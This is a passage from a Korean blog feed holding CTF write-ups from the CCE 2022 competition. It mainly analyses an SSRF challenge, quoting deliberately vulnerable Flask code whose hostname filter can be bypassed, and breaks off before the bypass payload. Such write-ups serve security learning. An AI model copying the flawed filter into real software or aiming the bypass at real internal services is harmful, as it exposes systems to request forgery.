&lt;p data-ke-size=&quot;size16&quot;&gt;webhook.site에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;822&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sXsgK/btrNTBTHkiQ/qhNkfT18qyGLQ4cxUAs051/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sXsgK/btrNTBTHkiQ/qhNkfT18qyGLQ4cxUAs051/img.png&quot; data-alt=&quot;FLAG 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sXsgK/btrNTBTHkiQ/qhNkfT18qyGLQ4cxUAs051/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsXsgK%2FbtrNTBTHkiQ%2FqhNkfT18qyGLQ4cxUAs051%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;214&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;822&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;FLAG 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Study/CTF</category>
      <category>Blue Archive</category>
      <category>CCE</category>
      <category>CCE2022</category>
      <category>CTF</category>
      <category>writeup</category>
      <category>사이버공격방어대회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/171</guid>
      <comments>https://chmodi.tistory.com/171#entry171comment</comments>
      <pubDate>Thu, 6 Oct 2022 14:44:47 +0900</pubDate>
    </item>
    <item>
      <title>[사이버공격방어대회 CCE 2022 Write Up] Web 2번 : BabyWeb</title>
      <link>https://chmodi.tistory.com/170</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSRF의 Hostname 필터링(화이트리스트 기반)을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우회하는 문제입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Flask에서는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;URL encoding된 파라미터 값은&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;자동으로 decoding하지 않고&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;그대로 받아들인다&lt;/b&gt;&lt;/u&gt;는 사실을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알게 된 문제였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;499&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddkWXU/btrM64VZWYi/OiwQcFpKl3gEPEk5VFogX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddkWXU/btrM64VZWYi/OiwQcFpKl3gEPEk5VFogX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddkWXU/btrM64VZWYi/OiwQcFpKl3gEPEk5VFogX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddkWXU%2FbtrM64VZWYi%2FOiwQcFpKl3gEPEk5VFogX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;417&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;499&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 대상 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트에 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조촐하게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력란과 제출 버튼이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;910&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4DOEu/btrM37eVPAF/RnlaOaIVConMwcZPuKfIt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4DOEu/btrM37eVPAF/RnlaOaIVConMwcZPuKfIt1/img.png&quot; data-alt=&quot;it's so 심-플&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4DOEu/btrM37eVPAF/RnlaOaIVConMwcZPuKfIt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4DOEu%2FbtrM37eVPAF%2FRnlaOaIVConMwcZPuKfIt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;237&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;910&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;it's so 심-플&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무런 값을 입력한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제출하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Something wrong...&quot; 이라는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열이 출력됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;914&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zhs2W/btrM8JcjEQG/v3KtngprxiiQWN8Z1J0n1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zhs2W/btrM8JcjEQG/v3KtngprxiiQWN8Z1J0n1k/img.png&quot; data-alt=&quot;여기도 심-플&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zhs2W/btrM8JcjEQG/v3KtngprxiiQWN8Z1J0n1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fzhs2W%2FbtrM8JcjEQG%2Fv3KtngprxiiQWN8Z1J0n1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;238&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;914&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;여기도 심-플&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Flag 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공된 파일을 보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;public 서버와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;internal 서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 서버로 나뉘며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;Flag는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;internal 서버의&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;secret.py에&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;선언&lt;/b&gt;&lt;/u&gt;되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1020&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xfe5h/btrM8f3C8EP/cZLkCpc456bbDPl76wKqb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xfe5h/btrM8f3C8EP/cZLkCpc456bbDPl76wKqb1/img.png&quot; data-alt=&quot;internal &amp;amp;gt; secret.py &amp;amp;gt; FLAG 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xfe5h/btrM8f3C8EP/cZLkCpc456bbDPl76wKqb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXfe5h%2FbtrM8f3C8EP%2FcZLkCpc456bbDPl76wKqb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;266&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1020&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;internal &amp;gt; secret.py &amp;gt; FLAG 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트와 함께 제공된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사이트의 코드를 분석합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Exploit을 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주된 코드는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 파일에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있었습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;주요 파일&lt;/b&gt;&lt;br /&gt;- &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;public 서버의 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;app.py 파일&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;br /&gt;- &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;docker-compse.yml 파일&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;- internal 서버의 &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;app.py 파일&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ public 서버 app.py 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선, &lt;u&gt;&lt;b&gt;public 서버의 app.py 파일&lt;/b&gt;&lt;/u&gt; 내용입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1664180496376&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# public 서버 &amp;gt; app.py

import urllib
import urllib.parse
import requests
import ipaddress
from flask import Flask
from flask import request
import socket

app = Flask(__name__)

data = &quot;&quot;&quot;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;BabyWeb&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;form action=&quot;/&quot; method=&quot;POST&quot;&amp;gt;
&amp;lt;input type=&quot;text&quot; name=&quot;url&quot;&amp;gt;
&amp;lt;input type=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&quot;&quot;&quot;

def valid_ip(ip):
    try:
        ip = socket.gethostbyname(ip)
        is_internal = ipaddress.ip_address(ip).is_global
        if(is_internal):
            return False
        else:
            return True
    except:
        pass

@app.route('/', methods=['GET','POST'])
def index():
    if request.method == &quot;POST&quot;:
        try:
            url = request.form['url']
            result = urllib.parse.urlparse(url)
            if result.hostname == 'flag.service':
                return &quot;Not allow&quot;
            else:
                if(valid_ip(result.hostname)):
                    return &quot;huh??&quot;
                else:
                    return requests.get(&quot;http://&quot;+result.hostname+result.path, allow_redirects=False).text
        except:
            return &quot;Something wrong...&quot;
    elif request.method == &quot;GET&quot;:
        return data

if __name__ == &quot;__main__&quot;:
    app.run(host=&quot;0.0.0.0&quot;, port=80)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;index() 함수의 내용을 보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동작하고 있습니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;public 서버 동작:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. POST 방식으로 url 파라미터 입력&lt;/b&gt;&lt;br /&gt;- url = request.form['url']&lt;br /&gt;&lt;b&gt;2. url parser로 url 분석&lt;/b&gt;&lt;br /&gt;- result = urllib.parse.urlparse(url)&lt;br /&gt;&lt;b&gt;3. hostname 필터링&lt;/b&gt;&lt;br /&gt;- if result.hostname == 'flag.service':&lt;br /&gt;&lt;b&gt;4. host 유효성 확인(IP 검증)&lt;/b&gt;&lt;br /&gt;- if(valid_ip(result.hostname)):&lt;br /&gt;&lt;b&gt;5. 검증된 서버로 접속 및 응답 값 반환&lt;/b&gt;&lt;br /&gt;- return requests.get(&quot;http://&quot;+result.hostname+result.path, allow_redirects=False).text&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 파일에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;hostname 필터링과&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;host 유효성 검증을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;우회&lt;/b&gt;&lt;/u&gt;해야한다는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각이 들었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고로,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python의 urllib.parse 결과는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 &lt;u&gt;&lt;b&gt;hostname&lt;/b&gt;&lt;/u&gt;은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 예시의 &lt;u&gt;&lt;b&gt;netloc&lt;/b&gt;&lt;/u&gt;과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동일합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1664245080711&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; o = urlparse(&quot;http://docs.python.org:80/3/library/urllib.parse.html?&quot;
...              &quot;highlight=params#url-parsing&quot;)
&amp;gt;&amp;gt;&amp;gt; o
ParseResult(scheme='http', netloc='docs.python.org:80',
            path='/3/library/urllib.parse.html', params='',
            query='highlight=params', fragment='url-parsing')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ docker-compose.yml 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker-compose.yml 파일은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 컨테이너를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 구성하고 실행할지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정의한 파일로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag.service 서버가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;무엇인지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알 수 있었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1664245442407&quot; class=&quot;ruby&quot; data-ke-language=&quot;ruby&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: '3'
services:
  challenge:
    build:
      context: .
      dockerfile: ./public/Dockerfile
    ports: 
      - &quot;80:80&quot;
    links:
      - flag.service
  flag.service:
    build:
      context: .
      dockerfile: ./internal/Dockerfile&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;flag.service 서버&lt;/b&gt;&lt;/u&gt;는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제공된 파일의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;internal 서버&lt;/b&gt;&lt;/u&gt;임을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ internal 서버 app.py 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 FLAG가 있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;internal 서버의 app.py 파일&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1664253293412&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from flask import Flask
from flask import request
from secret import FLAG

app = Flask(__name__)


@app.route('/flag', methods=['GET'])
def index():
    if request.host == &quot;flag.service&quot;:
        return FLAG
    else:
        return &quot;Nice try :)&quot;

if __name__ == &quot;__main__&quot;:
    app.run(host=&quot;0.0.0.0&quot;, port=80)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;internal 서버 파일의 내용은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;internal 서버 동작:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. GET 방식으로 /flag 에 접속한 경우&lt;/b&gt;&lt;br /&gt;- @app.route('/flag', methods=['GET'])&lt;br /&gt;&lt;b&gt;2. 요청 데이터의 host 검증(flag.service)&lt;/b&gt;&lt;br /&gt;- if request.host == &quot;flag.service&quot;:&lt;br /&gt;&lt;b&gt;3. 검증된 경우 FLAG 반환&lt;/b&gt;&lt;br /&gt;- return FLAG&lt;br /&gt;- FLAG는 secret.py 에서 import&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 내용으로 보아&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요청 데이터의 host가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag.service 일 때만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;&lt;span&gt; &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스 코드는 간단하지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag.service를 그대로 입력하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링에 의해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 획득할 수 없었으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 URL을 입력하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag.service로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속하지 않기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;반드시 flag.service로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인식되야 했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ URL encoding&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
